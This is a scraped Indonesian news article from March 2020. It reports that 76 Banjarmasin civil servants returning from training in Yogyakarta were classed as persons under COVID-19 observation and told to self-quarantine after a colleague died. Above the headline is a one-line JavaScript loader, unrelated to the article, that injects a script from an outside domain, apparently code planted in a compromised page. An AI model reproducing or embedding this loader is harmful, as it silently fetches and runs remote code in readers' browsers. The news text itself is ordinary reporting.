(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

76 ASN Pemko Banjarmasin Tiba dari Yogyakarta Masuk dalam ODP dan Karantina Mandiri


KANALKALIMANTAN.COM, BANJARMASIN – Pasca meninggalnya satu pasien dalam pengawasan (PDP) yang merupakan ASN Pemko Banjarmasin pada Rabu (18/3/2020) lalu, yang diketahui tiba dari Yogyakarta. Tak hanya itu, 76 ASN lainnya di Pemko Banjarmasin yang juga tiba dari Yogyakarta usai pelatihan di BLK Yogyakarta guna menghadapi MPP (masa persiapan pensiun).

“Mereka sudah kita minta untuk melaporkan status kesehatannya dan memeriksakan kesehatannya ke puskesmas masing-masing. Sehingga mereka masuk kategori orang dalam pengawasan (ODP),” kata Wali Kota Banjarmasin H Ibnu Sina saat ditemui di Balaikota Banjarmasin, Jumat (20/3/2020) siang.

Sembari menunggu hasil laboratorium terhadap PDP yang meninggal kemarin, Ibnu meminta 76 ASN ini untuk mengkarantina diri di rumah masing-masing. Karena hingga kini, belum ada satupun kasus positif Covid-19 di Kota Seribu Sungai ini. “Hari ini, kita tahu di Samarinda Kaltim sudah ada tiga orang positif Covid-19, dan secara nasional di Indonesia sudah ada 308 orang,” jelas Ibnu.

Para ASN sendiri, diminta untuk mengkarantina dirinya selama 14 hari, sesuai dengan masa inkubasi virus Covid-19. Namun demikian, jika ASN ini mengalami gejala gangguan kesehatan, maka Ibnu meminta agar cukup bekerja dari rumah saja. “Tapi setelah itu, mereka boleh bekerja di kantor,” tambah Ibnu.

Ibnu membenarkan, satu ASN Pemko Banjarmasin yang meninggal baru-baru tadi, merupakan satu dari 76 rombongan ASN yang mengikuti MPP di BLK Yogyakarta, guna persiapan menjelang pensiun sebagai abdi negara. Jumlah ini sendiri, termasuk dengan staf Badan Kepegawaian Daerah (BKD) Kota Banjarmasin yang mendampingi.

Ibnu Sina. Foto : fikri

“Selain itu, ada ASN di Kecamatan Banjarmasin Utara yang baru tiba dari Bali, tapi sudah kita mintakan untuk ke puskesmas dan mengkarantina diri,” lugas Ibnu.

Ibnu berkata, jika dalam masa-masa inkubasi ini mengalami gangguan kesehatan, jajaran gugus tugas bisa mengambil tindakan. Karena telah masuk dalam ODP. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Chell


Desy Arfianty

Recent Posts

Buka Musrenbang RPJD 2025 – 2045, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More

3 jam ago

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

4 jam ago

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

5 jam ago

Mantan Crosser Ramaikan Pilkada Tala, H Iyan Ambil Formulir ke PPP

KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More

5 jam ago

Pertahankan Gelar, Kabupaten Banjar Juara Umum di MTQ XXXV Kalsel

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More

5 jam ago

KSBSI Kapuas Dukung Erlin Hardi Cabup Kapuas 2024-2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More

5 jam ago

This website uses cookies.